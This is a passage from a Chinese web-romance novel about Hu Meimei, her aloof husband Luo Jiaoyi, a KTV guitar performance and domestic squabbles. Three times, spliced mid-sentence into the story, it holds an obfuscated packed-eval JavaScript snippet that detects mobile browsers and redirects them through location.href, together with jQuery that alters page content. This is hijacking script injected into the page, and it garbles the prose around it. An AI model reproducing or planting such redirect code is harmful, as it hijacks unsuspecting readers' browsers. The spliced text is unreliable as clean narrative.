随机应变改成伸手去和顾客打招呼后，她牵着胡美美走了一段儿，摸到了胡美美指尖的茧，还有她手背的疤。 ？ 胡美美左手靠近手腕位置的手背上，有一条1厘米左右的手术缝合疤痕，她在那个位置弄了个纹身，结合疤痕的形状，绣上去一只黑色的坏掉的眼睛，但因为她手太白，纹身又小，所以疤痕还是能被看见。 而且触感也很不一样，别的地方的皮肤光滑，有疤的地方，摸起来涩涩的。 接待人疑惑了片刻，本能地因此多看了胡美美两眼，对她产生好奇，但很快就打消了探究的念头，专心回到了工作上。 胡美美去看的那个严格来说应该叫样板楼，足足有三层。 一层从原木围圈起来的庭院拔地而起，二层和一层错开，三层也是，每一层都有宽阔露台，上一层露台是下一层屋顶的“绿帽子”，覆土种植后远看去，整一栋楼像长出来的绿色梯田。 “觉得怎么样？”黎行问。 胡美美拍了几个视频留下来，准备到时候拿去给洛骄益看，就当她是来替他跑腿了。 可不能让少爷累着。 “还行还行，不过主要得看他喜不喜欢。” 胡美美觉得这个房子外面绿植多，环境不错，但室内外装修的风格有些割裂，甚至背道而驰。 外面很原生态很舒适，里面每一层，每一个房间却都装了用电地暖和超多空调，大量科技，这就很不“自然”。 而且，也说明了一个问题，这里简直就是冬不暖夏不凉的。 不然那些取暖纳凉设备怎么那么多。 因为那个每一层都有的大露台，开发商不得不采用半开放式设计，盈江的天气却不适合这样。 总的来讲，这里不太行，就连她都觉得不太行。 “那咱们多看几个。”黎行说。 下一家是新中式风格，仿宋制，倒挺雅致，但为了强调和突出“中式”，有好多胡美美觉得无用的东西存在。 比如次卧那个推窗，做出来之后挡了好多采光。 第三家，托斯卡纳风，一种源于意大利中部的田园风格，有好多铁艺家具和装饰，其余的部分和“卢浮里”有点像。 下午四点半，胡美美累了，就此打住，今天就决定先只看到这里。 黎行接着去陪其他客户，胡美美找了家店吃正餐，摄入大米饭。 刚好吃饱，今天晾了她一整天的洛骄益总算回复了她一条消息，胡美美手机震动，立刻拿起来看。 “还要继续住？”洛骄益说。 嚯。 这叫什么话？当然要继续住！ 不住在一起那还叫夫妻吗？胡美美小时候和家里那条狗也这样： 她心里有它，惦记着它，巴巴地凑上去，狗子却每天早出晚归，一点都不管自己的死活。 “住的！”胡美美疯狂敲字。 “你听我说，其实我住进去对你有好处。” 怕洛骄益烦、不同意，胡美美当即搓了篇论文发过去劝，仿佛在写说明书第一页一样，列了整整七条小点讲自己住过去之后能发挥的作用。 洛骄益刚落座，服务员上前递上菜单，手机一直叮叮当当响个不停，几次打断了他点餐的节奏。 一看，那些消息都来源于一个人，罪魁祸首丝毫没有要停下来的趋势。 洛骄益沉了沉脸，反手长按手机侧边，直接给手机关了机清净。 “好的先生，后厨马上为您备菜。”服务员拿着菜单退下。 几步之后，在包间外，服务员匆匆打开对讲机，低头对着那家伙多次强调：店里来了两位大客户，需要马上调度多些人手过来。 “OK！” “小紫，尤其是你，别吃刘×了，赶紧到包房倒茶！” 对讲机里，经理收到汇报之后开始布置吩咐。 洛骄益点完餐也久久不想再重新打开手机，白饰星坐在他对面，见状高兴得嘴角起飞，明显大声地嘲笑了他，喜提洛骄益一番白眼。 甚至洛骄益那时候已经在盘算之后去把白饰星的那些乐高全砸了得请多少顿饭，值不值得。 他偏头攥紧拳头，死活不开机，硬装听不见白饰星说话，糊弄过去。 隔壁包间，胡美美搓完小论文，收不到回复，安慰自己，洛骄益肯定是有事。 服务员过来清台收拾房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372055|199960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，胡美美接过账单顺势出去，经过走廊，看见好多人前脚压后脚的全都往她旁边的包房钻，还在交头接耳蛐蛐： 不仅好有钱！而且好帅好帅！ “不知道结婚了没！我们店也是好起来了！” 胡美美听见，竖起耳朵，放慢速度，掏出手机假装沉浸。 “那个白衣服的帅哥说他就是为了气另一个，才专门选了我们店，说我们家难吃！” “哎呀！他嘴巴真刁，我们店确实难吃。” “噗！别让经理听见！” 难吃？胡美美诧异，她却觉得挺不错的… 和那队浩浩荡荡钻过去长龙相遇后，队伍立马沉默寡言了下来，不再继续讲话。 胡美美瞥了一眼包房里面，门虚掩着，里面两个人，一个背对她，穿白衣服，一个面对她和那个白衣男人，长得确实板正，笑起来却有两颗虎牙，怪可爱的。 出门右转，胡美美撞见一家自助KTV，摆在门口的共享电吉他一眼就吸引住了她。 这玩意儿还能弄成共享设备是她没想过的，她进去扫码搞了一个，之后又干脆定了个包间，两分钟后从里面传出经典的鼓点和唢呐前奏，《大花轿》强势袭来。 又两分钟后，歌曲被掐断，鬼打墙一样重新开始。 这次胡美美放下了话筒，没有选择跟唱，而是把电吉他插上电，调了一下音。 鼓点和唢呐依旧质朴地交织着向外迸发前进，不同的是，第三次鼓声后，加入了一点凛冽粗糙轰炸的弦音。 - 下到地下两层，再穿过长廊，就能到达这次演出的地点。 或者穿过白色沙滩，乘船去往彼岸。 高密集度的人群汇聚后，会带动周围的一切都高涨起来。 包括海，和它击打出三米高水花的巨浪。 室内突然一暗，而后绚烂的灯升起扫过全场，音响振动两下，发出“滋滋”的电流声。 石崖发出呐喊，日落之下，人群开始狂欢。 不久，所有人都停下手头的事，而舞台的正中央，屏幕开始倒数，全场集中，屏气—— “五！” 默契的齐声还连带出一些人激动的尖叫。 “Fidel”随手划拉，弹了几个音热场、继续推动氛围。 “四！” “Fidel为啥要戴面具啊！”有人在嘈杂中问她的朋友。 “三！” “啊啊啊啊！” 灯光闪烁，乐队所有人的剪影出现一秒，惹得在场的大家瞬间发疯般地叫。 “我喜欢她手上那个纹身！超帅！”朋友回复。 鼓面突然响了一下，发出巨大的一声“咚！”，紧接着白光聚拢，乐队提前出现，粉丝们呼之欲出的下一声倒数噎住，硬生生被掐断规律，一时哑言，却感觉比任何的时候都要喧闹， “1。”舞台数字在静谧中悄然变化。 “咚！” “啊啊啊啊！！！” 吉他手垂着眼，蓝色长发梳到额后，瞬间在喷发飘起的干冰中出现，眉目模糊，下半张脸则完全被酷飒的獠牙面具遮住，指尖滑动着，飞速变化节奏。 - 胡美美停手，一曲结束，还未过瘾，又去点了好几下KTV包房里的机器，退回来重新抱起吉他。 - 《大花轿》响起第六遍时，洛骄益突然在路边停住，白饰星和他撞了一下，吃痛假笑： “怎么？突然不喜欢这条路不想走了？” “……” “还是你想去唱歌？” 白饰星这才发现旁边有些喧闹，KTV里居然传出了一首隐约的很老土的歌。 白饰星震惊到瞳孔都放大了一圈，偏头找寻声音来源，锁定到旁边的自助歌厅。 这歌他在盈江可没听过。 8. 第 8 章 天阴着，没有雨，但空气里能拧出水来。 洛骄益反应过来，开始在路边招车，白饰星一个劲儿的拦着，绅士地挡在他前面，站在靠近道路的那一边： “小心些，慢慢来。” “小洛，我怎么感觉这能像是你老婆的手笔？我好像是跟着你下乡体验了一下凡人生活。” 白饰星笑到。 说着他努了努嘴，示意洛骄益去看那家歌厅，言下之意不言而喻。 放在之前，没有人敢这样称呼洛骄益，“小洛”听起来很轻浮。 白饰星活像个狗皮膏药一样，黏着人死不松口，洛骄益只能退回去，双手抄兜，当做无事发生。 “这歌肯定是了，毕竟她都能叫胡美美，”白饰星从小到大就没遇见过这么土气的人名，好像小说里的NPC、路人甲，随便找了个姓氏加上叠词就组成了名字端上来。 云层压得很低，像一块洗旧了的灰棉布，把整条街裹得严严实实。 特意叫他亲自把卡送过去，又讹他两顿饭，步步紧跟，就是为了能抓住一切机会羞辱洛骄益。 白饰星每个动作都像对着镜子练过，每句话都要先称过斤两才会说出口，这一整天对洛骄益的“亲切关怀”，他都快数不过来了。 从破产之后居然都穿上了前两年秀款出现的衣服，到真可惜呀，现在洛骄益甚至不能随心所欲坐上专门等着就为了过来接他的车。 让洛家还能剩下钱是白饰星的失误，但谁又知道洛骄益是不是在装呢？ 即便他说的都是实话，那点钱也注定不够他们体面生活了，洛家大变是事实。 洛骄益一言不发、直视着白饰星，腰背依旧挺得很直。 白饰星洋洋洒洒地笑话了他很多，方方面面都很详细，洛骄益虽然竭力保持着面无表情，但呼吸的节奏压抑错乱，看得出来他在忍。 KTV里那首叫人头皮发麻的不知道哪个年代的歌停下来了，白饰星刚好调戏完人，朝那边瞥了一眼，也就是洛骄益身后。 洛骄益直觉到什么，白饰星抬起下巴朝那边眯起了眼。 朝胡美美那边。 洛骄益余光扫过白饰星、扫过白饰星目之所及，扫过白饰星不怀好意的表情。 之后沉了沉眼皮，拔出插进地壳的脚，收紧肌肉，突然沿着路走了起来： “怎么？” 洛骄益大步流星。 白饰星本来是要强行抓着人进去一间间搜出来胡美美，两口子一起教训出气的，猝不及防，急忙追上去。 “？什么怎么？你终于受不了了？” “就因为我要去找胡美美？！”白饰星不敢相信，嗤笑出声。 洛骄益走得很快，快到白饰星竟然有些跟不上，竞走之间，外套迎着他带出来的风翻飞歪倒起来。 洛骄益忍不无忍驳斥了白饰星。 在众多问题中，他只精准选中那个关于胡美美的。 她的名字。 “胡美美”，这个名字怎么了？ 什么时候，“美”又成了贬义字？ 这只是一个简单好听的名字而已。 洛骄益并没有想特意为了某个人去发声，他只是看不惯白饰星这样的假绅士去攻击一个无辜的汉字、污名化“美”而已。 “美”字就是它原本的意思。美丽，美好。 为了怼白饰星，他不惜和胡美美沾上关系，挑出这个来讲。 比起帮胡美美说话，洛骄益只是更想反驳白饰星，所以才这样做而已。 只是因为白饰星平白无故去针对一个普通人的名字，实在太蠢。 “洛骄益！”白饰星喊。 洛骄益绷着嘴角，兀自往前走。 - 自由声堂。 胡美美进包房前确定她有关门，但应该是自助歌厅用的材料不太好，声音传了出去。 她听见门口陆陆续续有脚步声，走走停停的，没有在意，手上拨弦点弦的动作也没有停。 只是，趁着节奏变换时，她一边弹着，一边调整，默默地把声音控制下来许多。 深红色的地毯踩过一双小皮鞋，长发落肩的学生和朋友们经过，听见动静顿了顿，眉毛一点点挑高。 接着，嘴角扯出一个意味不明的弧度——震惊、意外，还有那么一点嫌弃。 她没停留，脚步混乱地蛇形走远了。 “噗，是谁在KTV点这么土的歌？”下一个男生路过却没憋住，直接问了出来。 见了鬼了，就算是在跳广场舞的大妈大爷们那里，也没人听过这首歌，里面是什么人？ 又路过了几波人，交头接耳，猜测那里面是哪个外地来的农民工，然后相视一笑，胡美美全然不知。 四分多钟的歌，她弹到三分多时，包间外经过一个金发碧眼的外国女孩儿，听不懂中文歌词，反而觉得这首rock很嗨，很不错，瞬间就跟着节奏点起了头。 外国女孩儿身边是一个比较年长但优雅的女人，看着她笑了笑，“偶尔尝试下这种风格其实也不错，一会儿我也为你点一首这个。” “好呀！我喜欢这个！”女孩儿拍手。 她们使用的是俄罗斯语。 胡美美正准备切歌，或者干脆摒弃点歌跟弹环节，抱着吉他坐下直接独奏。 犹豫之间，没多久，刚才那个外国女孩拽着一个背吉他的男生跑过来，推开了她的门上来就说要和她比试比试。 “……” 包厢里安静了一瞬。 胡美美刚刚落座，吉他还没有摆好，男生昂首挺胸地走过来，对着她举高自己那把吉他。 “Iwillbeatyou！！！”男生高喊，正式宣战。 那是个十几岁的少年，瘦高瘦高的，蓝色眼瞳很漂亮。 胡美美这下才听懂了，看了看他，又看了看自己。 eon！”男生又喊。 胡美美咧开嘴，笑笑站起来。 … 包间里又断断续续传出来声音，像时不时被打开的车窗，飘出来原本只属于驾驶位一个人的音乐。 深红色的地毯踩过一双小皮鞋，是之前那双，但皮鞋的主人忙着去取外卖，并没有留意。 几个男生出来抽烟，再次路过，被里面的声音吸引，吉他清澈的泛音像夏日晨间池塘里的点点涟漪，又像小雨伴着凉风，滴在青石板路上，惬意舒爽。 且只有吉他的声音。 听着，其中一个察觉不对，愣了下，反手指了指身后，皱眉，“这是不是刚刚唱土歌的那间？” 一个转眼，房间里就大变了风格，刚刚还土躁土躁的，现在弹这个吉他却又这么清冽柔和的好听。 “？啥意思？？” “这么说刚刚的吉他也是里面的人弹出来的，不是歌里自带的？” 他们还以为是歌曲本来就录制进了吉他，毕竟没听过那歌。 “不是吧！”吉他和歌曲融合得天衣无缝，适配度百分之百，怎么可能是现场发挥。 里面的人这么厉害？ 最初说话那人不信。 两个人抓着烟盒，各执一词，争论了一会儿，皱眉的男生死活不信，决定轻轻推开一点门往里瞧瞧。 看看不就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372056|199960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道了。 “哎！你能不能有点素质！” 另一个人闻言伸手拦截，可惜稍晚一步。 实木门和地面生成夹角，缓缓地变大，彩灯晃过，门缝里，金发碧眼的女孩儿和少年呆呆地坐在一旁听胡美美弹吉他，满眼的喜欢和敬佩。 - - - 胡美美回到“卢浮里”，购物袋已经被收拾进了家，客厅没人，卧室亮着一盏床头灯，洛骄益看样子已经熟睡。 他还是卧躺，半边脸陷在枕头里，睫毛在暖黄的光线下投下一小片阴影。 胡美美轻手轻脚地掀开垂帘爬上去，翻来覆去地看，甚至还动手动脚，想确认他是不是真睡着了。 才晚上九点半，她家的狗都不这么早睡。 洛骄益没反应，呼吸平稳，一动不动。 真确认他已经睡了，胡美美才叹气，作罢，认命退回去洗漱，小心翼翼地收拾好，又躺回去。 好吧。 胡美美撇撇嘴，闭上眼睛。 原本，她是有好多话要跟洛骄益说的，一天没见了，分外想念，但不知道洛骄益是否正是为了不让她得逞，所以才这么早睡。 不过也不怪他，洛骄益一定是每天都要呼吸太累了，所以才需要早睡。 理解。 夜空混沌。 盈江十里不同天，晚上市中心依旧热闹，灯火通明，开发区却安静得仿佛时间也静止在这一刻。 不知道过了多久，浑浑噩噩的，凌晨三点，胡美美身侧传来轻微的响动，洛骄益起夜，顺带着把她也被动唤醒了。 她睡眠浅，洛骄益掀开被子的那一刻，她就醒了，但她没动。 刚醒过来时神志还不太清楚，双眼也没办法聚焦，洛骄益光着身子毫不设防，可惜胡美美却硬是一点儿也没看着。 洛骄益披了个像浴衣一样的外套，习惯性地走向卧室里的洗漱间，把水龙头打开，但下一秒，又关上，接着就折返特意出去用了外面的房间。 胡美美翻了个身，面朝门外，双眼努力睁开一条缝。 洛骄益走进对面的客用洗漱间，点了微光，对着镜子无言站立。 然后撑着洗手台的边缘，低着头，肩膀微微塌下去。 胡美美顿时又清醒了一些，困意消散不少。 这个姿势，她有些熟悉。 二十出头的时候，胡美美有史以来第一次坐飞机，为了便宜她定的接近凌晨的飞机，结果过了安检，在登机前半小时被取消航班。 她和一行男女老少被留在候机厅，没有去处，也找不到留宿的地方，只能强撑着在又冷又暗的机场待一晚上。 没有人管她。 胡美美尝试过在椅子上裹紧自己强行入睡，结果根本没有用。 闭上眼睛，脑子里就全都是乱七八糟的事，让她控制不住全身紧绷，无论如何都松懈不下去。 其实要去度过一个晚上不是很难，难的是，如何调解偏偏就自己被选中遇到了那种事的心情。 明明自己什么都没做，还是第一次，正对新鲜的尝试满怀着期待。 “卢浮里”在准备选定日期正式开盘前，洛骄益首次露面，宣布加入家族企业，在公司慢慢历练成长。 结果，和他们合伙的某位娱乐圈大佬当天突然被查出吸毒涉毒，并且逃税漏税，处罚了整整六个亿，人也被抓了去。 于是洛家被殃及，被选中，就是那么概率极低的事情，偏偏让他遇到了。 在那之前，洛骄益一直过的都是从头到脚里里外外、一粒尘土，一滴水，都不用去操心的日子。 9. 第 9 章（修） 洗手间的灯亮了很久，洛骄益待了一会儿后，转身去客厅。 胡美美已经彻底清醒，要说现在起身去看看情况，其实也做得到。 但她犹豫了一会儿，最后，还是决定待在卧室就好。 给他一点自己的空间，还有时间。 胡美美闭眼。 深夜，窸窸窣窣的，洛骄益一直都在活动。 天蒙蒙亮的时候，她听见他去了书房，拿着纸笔写写画画。 胡美美真的对声音很敏感。 她在想，洛骄益会写些什么？结果就是她也跟着没睡着熬了很久。 七点左右，胡美美昏睡过去，大概三四个小时，期间，不知道洛骄益是不是也这样。 十一点，胡美美胃痛得不行，又醒过来。 太饿了。 昨天她就只吃了一顿，晚上精神紧绷，现在，一觉到中午，又连一口水都没有喝过。 胃酸甚至有些倒灌回来了，嘴里很苦，胡美美缩成一团，竖起耳朵，没听到什么，才爬起来。 洛骄益在客厅搭积木，不知道他哪儿来的东西。 大中午，屋里所有的窗帘却都低垂着，客厅正中的巨型水晶吊灯射出的强光刺了她一下。 胡美美走到门口，洛骄益一把把堆起来的积木全都用胳膊撞翻了。 看见他发脾气，还没缓解好，胡美美忍住退回卧室。 饿了反而还睡得更好，胡美美重新躺下，心脏砰砰直跳，额头和后背也隐约冒出来一层冷汗，闭上眼不到两秒就失去了意识。 虽然严格来说她这叫晕了。 - 下午三点下了场雨。淅淅沥沥，点湿地面后在玻璃窗敲出一串颤音。 胡美美睁眼起来，走出卧室。 气温降低，洛骄益在外面吹着空调合眼小憩，盖着一条毯子。 他不饿？胡美美唇色苍白，迟钝地想。 结果洛骄益还是没有把阿姨的联系方式给她，她都不知道是该去翻厨房还是干嘛。 胡美美挨着他坐下，饿得脑子有点转不过来，浑身也没力气了，耷拉着眼皮下意识打开拼某饭。 一进app，就被首页的广告绑架了，而且胡美美明明感觉，她捧着手机根本就没动，那个“摇一摇跳转”的广告，就是耍流氓一样自动在她的手机上打开了。 然后手机突然大声嚎叫： “拼多多到账——三、百、元” 多多说，她是今日最幸运的用户，现在只需再邀请三人就可以直接提现了。 童叟无欺。 “……” 胡美美努力辨认着手机上花里胡哨跳来跳去，跳出残影的字。 然后，抬头，发现洛骄益睁着眼睛盯着自己。 “………” 他醒了。 洛骄益先是疑惑，怀疑自己的听觉出现了问题，然后蹙眉，沉默，哑口无言。 其中还掺杂了一丝对胡美美的嫌弃。 拼什么？什么到账了？ … 胡美美嗫嚅。 “你没用过这个软件吧？”她问。 邀请新用户的话，更是可以直接提现。 洛骄益以一敌三，这把她血赚。 胡美美饿晕了，想到什么说什么。洛骄益渐渐从她听起来略为认真的语气中重塑了三观。 他反复看向胡美美，不可思议。 胡美美穿着新的睡裙，宽宽大大，罩着她，露出来一截细白的小腿。头发有点乱，眼睛下面有一点青。 看起来，很像真的疯了。 “你要这三百？”犹豫许久，洛骄益起身。 胡美美低头摆弄着手机，疯狂在屏幕的侧边左滑着要退出，广告弹窗跟无底洞似的，永远关不完。 “…你要喝水吗？”洛骄益此刻已经来不及嫌弃和探究了，在试图安抚病人。 手机屏幕维持着原样，胡美美抛开手机，两只手都掐着肚子，蜷缩成一团。 “要。” “还要吃饭。” 十分钟后。阿姨急匆匆地赶到家，给胡美美热了三菜一汤。 洛骄益声称自己不饿，躺回客厅的沙发，没多久又合上了眼。 偌大的房子安静得风吹草动全都能听清。 胡美美一个人在厨房胡吃海喝，塞了两碗米饭之后，身体那种轻飘飘迷糊的感觉才终于慢慢消散。 “夫人，再给您盛一碗汤吗？”张阿姨守在旁边。 胡美美摇头，杵在饭桌安静缓神。 “怎么饿得这么厉害？”张阿姨闲不住，背身去给她做果切。 闻言，胡美美依旧呆着，回答不上来。 是呀，饿得这么厉害，图什么？ 还不得好。 胡美美偏头看了一眼客厅，隔着屏风，洛骄益完全像个第三者一样，不闻不问，自顾自地睡。 他甚至不愿意过来陪着她吃饭、和她一起坐下，问问自己有没有好些。 这么能睡， 一定是因为还在伤心，还没有调整过来。 心疼。 胡美美收回视线，心想她不应该这么早出来打扰洛骄益的，应该直接饿死在卧室。 想到这里，她把自己都逗乐了，若有似无地挑起嘴角，又迅速落下，像是肌肉无意义的抖动而已。 这荒唐的想法，半真半假，对她来说，真的去实行也不是不可以。 但有一件事是真的。 胡美美本来就没有想要洛骄益回应她。 并没有人逼她，如果是自己的决定，心甘情愿，理所当然也要接受坏的结果，接受对方并没有反馈。 张阿姨把果盘放到她面前，胡美美已经饱了，还是说了声谢谢。 “阿姨，洛骄益吃过了吗？”胡美美把果盘往里拉了拉，转头问。 张阿姨闻言僵了一下，尴尬地抓住围裙衣角，含糊到，“吃，吃过了吧，就随便喝了碗粥垫了一下，不是那种很好的新鲜的粥，随便做的。” 张婕雨早上的时候来过一趟，煮的两人份的粥，以为少爷一定会叫上夫人一起进餐的，谁知道，直到走之前都只洗上一个碗。 主人家不和谐怎么办。 她只能尽力掩饰，谎称洛骄益也只是随便对付了一口，尽力压下胡美美之后知道洛骄益干了缺德事后的怒火。 胡美美了然。短暂考虑了一番，嘱咐张阿姨： “下次，给他做新鲜的吧，别太随便。” 张阿姨：“哎，好的！好…啊？” 张婕雨下意识答应，又反应过来不对，整个人愣住，满脸疑惑。 啊？ 太太这是什么意思？她不生气？ 不生气？？还反过来让自己给少爷吃点好的？ ？？？ 表情扭曲了一阵后，张阿姨宕机了，胡美美两只胳膊抵在桌沿，垂眸盯着果切。 “这是什么水果？”突然，她指着其中一块。 那是莲雾，吃起来像稍微带了一点水分的塑料泡沫，张阿姨从游离中回神，进入工作状态，俯身去解释。 胡美美又连续问了好多，一来二去，俩人聊上了。 不知不觉，张婕雨把刚刚的事都抛在了脑后，不再僵硬。经过胡美美一番“调教”，临走前，她脑子里还能想到的，就只有一件事了： 夫人真是健谈。 其他的，她全忘了。 胡美美坐到沙发，守着洛骄益，睡着了的人像一件艺术品。 艺术品躺在这样长得和宫殿一样一样的房间里，真合适。 沙发上，洛骄益胸口的位置裸露在外，他又穿V领，衣服松松垮垮的堆着，毯子也只盖住了小腹以下。 胡美美看着，突然兴起，伸手按住他胸口。 我摸摸。 很早胡美美就有这样的想法了，每次这人出现，她总是忍不住会被这里吸引。 洛骄益的胸摸起来没什么手感，和她想象的不太一样，胡美美还以为会是软乎乎的那种，结果大失所望。 嗯，也不过如此。 胡美美叹气，洛骄益被按醒。 “……” 第二次因为胡美美睁开眼了，而且这次，也是死盯着她。 洛骄益先是疑惑，怀疑自己的知觉出现了问题，然后蹙眉，沉默，哑口无言。 胡美美理直气壮。 他反复看向胡美美，不可思议，胡美美却坦然地慢吞吞收回手，蹭过去，鼻子动了动，忽然皱起眉。 “你身上什么味儿？” 洛骄益低头看了一眼自己的胸，瞳孔仿佛都还在震颤，也皱眉，不解。 胡美美凑近了，仔仔细细闻了他一遍，得出结论： “哎？” “你的古茗香水和我9.9包邮的沐浴露一模一样！” 这味道闻起来毫无差别！ 胡美美尾音上扬，为自己这个新奇的发现，洛骄益脸色发黑。 那叫“古龙”。 在胡美美眼里，这玩意儿就已经是顶好的香水了，她潜意识认为洛骄益用的是这个，而且因为饿得厉害之后又暴饮暴食，胡美美完全没有意识到自己嘴瓢了。 洛骄益不知该从哪里开始反驳胡美美，一时间卡住。 偏偏，这个蠢蛋又是他老婆。 洛骄益黑着脸沉默了两秒，脸和脖子迅速染上淡淡的血色，整个人又红又黑。 “所以呢？” 你说是，那就是吧。 洛骄益已无力和她辩解。 胡美美愣了愣，反问，“你是不是还不高兴呢？” 反应这么平淡。 “……” “香水有不同的等级。”洛骄益抿了抿唇，开口。 柑橘调里比较经典的是欧珑的赤霞橘光，木质调莱俪墨恋是香根草标杆。馥奇调复杂一些，银山和光之呐喊都是这个类别。 洛骄益缓缓地说，语气就像是在讨论常见的蔬菜水果，但从容的语句里总是不一会儿就夹杂起品牌、文化，历史，之类的东西，胡美美听不懂。 “你说这个干嘛？”胡美美挠头。 对牛弹琴。 洛骄益又闭上嘴，后悔。 “哦，要我给你买亿点吗？”胡美美后知后觉，以为是他要香水。 洛骄益气得从沙发站起来。 “不需要。” 胡美美吓一跳：“好好，不要就不要，” “你怎么突然这么激动？” 洛骄益咬牙：“我没有特别激动。” 他看向胡美美，有种恨铁不成钢的感觉，胡美美和他不在一个频道，眨巴眨巴眼睛。 两人不欢而散。 洛骄益一脸烦躁地回去卧室，胡美美讶异，“你还睡得着？睡了那么久了？” 洛骄益头也不回，“你不也睡到下午，非要待在房间里面。” 听完，胡美美一顿，“你知道？” 那，她为什么非要待在里面的原因，也知道？ 洛骄益掀开被子躺下。 胡美美跟上去，把不该有的念头埋回去，在心里自嘲一笑。 - - - 接连两天，洛骄益都一直待在家里，或者在书房，或者在客厅。 胡美美看见他出去，还是会尽量在卧室待着，躺着无聊， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372057|199960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反复地刷短视频。 挨饿变得频繁和平常，不怪洛骄益，胡美美自己也觉得，在房间待久了就是会变懒，有时候她玩着手机就会懒得去吃饭。 甚至，她说话的欲望也会跟着极速下降。 洛骄益经常在某一处坐着沉思，一坐就是一下午，胡美美不能去打扰，一个人玩着玩着总会睡着。 晚上，她再睁眼出门时，已经过得浑噩了，不知道几点，洛骄益盯着窗外，听到脚步声偏了偏头看她。 “你是不是有病？” 冷不丁的，洛骄益问。 “？”胡美美差点怒极反笑。 洛骄益又补充。 “嗜睡”，他是认真的，觉得胡美美这两天的睡眠时间太长了。 胡美美心想，那可不是嘛，没说什么，自己走了。 第二天，洛骄益突然往家里丢了一堆快递，并且带着那些快递强势回归到了卧室。 胡美美正望着天花板，洛骄益又叫来两个人给他拆快递，开始大刀阔斧地移动室内的装置，拆床拆墙饰。 胡美美偏头看了一眼，自觉起来，换到客厅，留下卧室，任他发挥任他造。 走到门口的时候，洛骄益明明抱着手臂盯着“施工队”，胡美美刚挪到他身边，这人却能精准地抓到她，然后特意提醒她： “快出去。” 正在出去的胡美美：…… “没事别来打扰我们。”洛骄接着说。 一直在尽力打扰不到他的胡美美“哦”了一声，没当回事，抬腿走出去。 “施工队”一直忙活到傍晚。 连日阴雨，傍晚，云层散开，才好不容易见到一点太阳。 胡美美在客厅，透过窗，刚好能欣赏到完整的日落。 洛骄益不知道什么时候和张阿姨进了厨房，又不知道是几时，胡美美看着窗外，他又突然莫名其妙过来说自己已经吃过了饭。 “厨房现在没人。”洛骄益用纸巾擦着手。 胡美美这时候其实不太饿。 “……” “我现在没事了。” 见她没有动作，洛骄益又解释，催促胡美美快去吃。 他专门强调，是因为他“现在没事了”，这话让胡美美总觉得另有深意，挑了挑眉毛。 总觉得，这话就是说，“不用再顾及我了”一样。 那洛骄益一直知道自己在顾及他？ 胡美美不想惹事，把话挑明了说还得耽误洛骄益时间，硬是把这想法憋了回去，闷声去厨房里。 饭后，洛骄益找过来，带她去次卧，主卧暂时用不了。 胡美美却以为这是驱逐令，大致看了一眼后就转身和洛骄益比了个“OK”的手势，送人出去，准备躺下玩手机。 洛骄益黑着脸挡着门。 “啧，怎么了？”胡美美去而复返。 “…” “你是不是笨蛋？”洛骄益用问题来回答问题。 被说笨，胡美美第一反应是哪有，何出此言？什么目的？ 突然骂她，洛骄益这话是什么用处，夫妻间的小情趣？调情？ 洛骄益抬起手。 胡美美跟着那只手移动视线，他的手骨节分明，修长匀称，腕骨微微凸起，皮肤下隐约透着青色的血管。 漂亮的手落在她脸颊，轻托起她下巴。胡美美愣住，顿时心跳加快。 “我一般用宝格丽酷幽，也试过珍华乌木。” “怎么又开始说这些我听不懂的？”胡美美锁起眉头。 如果洛骄益在这之前就告诉她，这些品牌原来都是做香水的，那么她会说六神花露水可以一战，这样，她和他还能勉强聊上那么一聊。 但很遗憾。 洛骄益拇指抵在她脸颊上，指腹的温度有点烫。 胡美美话音刚刚落下，他原本松弛的表情又凝固了起来，无语写在脸上。 但凡她配合一些，洛骄益会让她闻一闻，这个时候再说些体贴的话就已经不合时宜了。 “好好吃饭，好好睡觉。”酝酿许久，他只能这样说。 “为什么？”胡美美追问。 “…不为什么。”洛骄益撤回手，胡美美眼疾手快地抓住他。 “难道我没有好好吃饭？”胡美美问。 洛骄益：“…你说呢。” 他知道，她那天几乎一整天没出房间，为了他。知道她饿着肚子，为了他。 “我为什么没好好吃饭？” “谁知道。”洛骄益要抽回手，胳膊动了动，胡美美死死地抓住不肯放。 “为什么说我笨蛋？” “你可以骂回来。”洛骄益懊悔。 “不行，你知道是不是？”胡美美已经察觉到，不问出来，誓不罢休。 虽然她不抱希望，虽然她不求回报，虽然她宁愿洛骄益不提出来，也不领情，就让她白白付出白吃苦头。 洛骄益看着她，沉了沉眼皮，斟酌着如何说出“不”字更好一些。 只是因为对方是名义上的丈夫，就付出至此，不是笨蛋是什么？ “谢谢。”洛骄益不知道要怎么拒绝，也不知道要怎么感激。 其实只是说出口也让他觉得不适，但这不是让胡美美就要白白付出的理由。 